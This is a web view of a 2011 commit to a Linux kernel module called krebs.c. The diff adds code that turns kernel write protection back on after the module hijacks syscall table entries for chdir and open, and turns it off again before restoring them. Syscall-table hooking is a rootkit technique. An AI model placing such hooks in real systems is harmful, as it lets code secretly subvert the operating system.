summaryrefslogtreecommitdiffstats
path: root/DNA
diff options
context:
space:
mode:
authortv <tv@xso>2011-09-08 13:38:45 +0200
committertv <tv@xso>2011-09-08 13:38:45 +0200
commit80bc911bc2a142f9d6a0710453ba7764d74c43a1 (patch)
tree8fd8f545c4f62c64c83b8b473870f21e14f552b4 /DNA
parenta55de91876f90cd80cd70a237d3dc955b8cd045c (diff)
//DNA/linux: set_addr_ro & CPF_ENABLE after mods
Diffstat (limited to 'DNA')
-rw-r--r--DNA/linux/krebs.c6
1 files changed, 6 insertions, 0 deletions
diff --git a/DNA/linux/krebs.c b/DNA/linux/krebs.c
index af640080..df319c63 100644
--- a/DNA/linux/krebs.c
+++ b/DNA/linux/krebs.c
@@ -170,11 +170,17 @@ static int __init init_rickroll(void)
o_chdir = (void *)sys_call_table[__NR_chdir];
sys_call_table[__NR_chdir] = (void *) my_chdir;
+ set_addr_ro((unsigned long)sys_call_table);
+ GPF_ENABLE;
+
return 0;
}
static void __exit exit_rickroll(void)
{
+ set_addr_rw((unsigned long)sys_call_table);
+ GPF_DISABLE;
+
sys_call_table[__NR_chdir] = (void *) o_chdir;
sys_call_table[__NR_open] = (void *) o_open;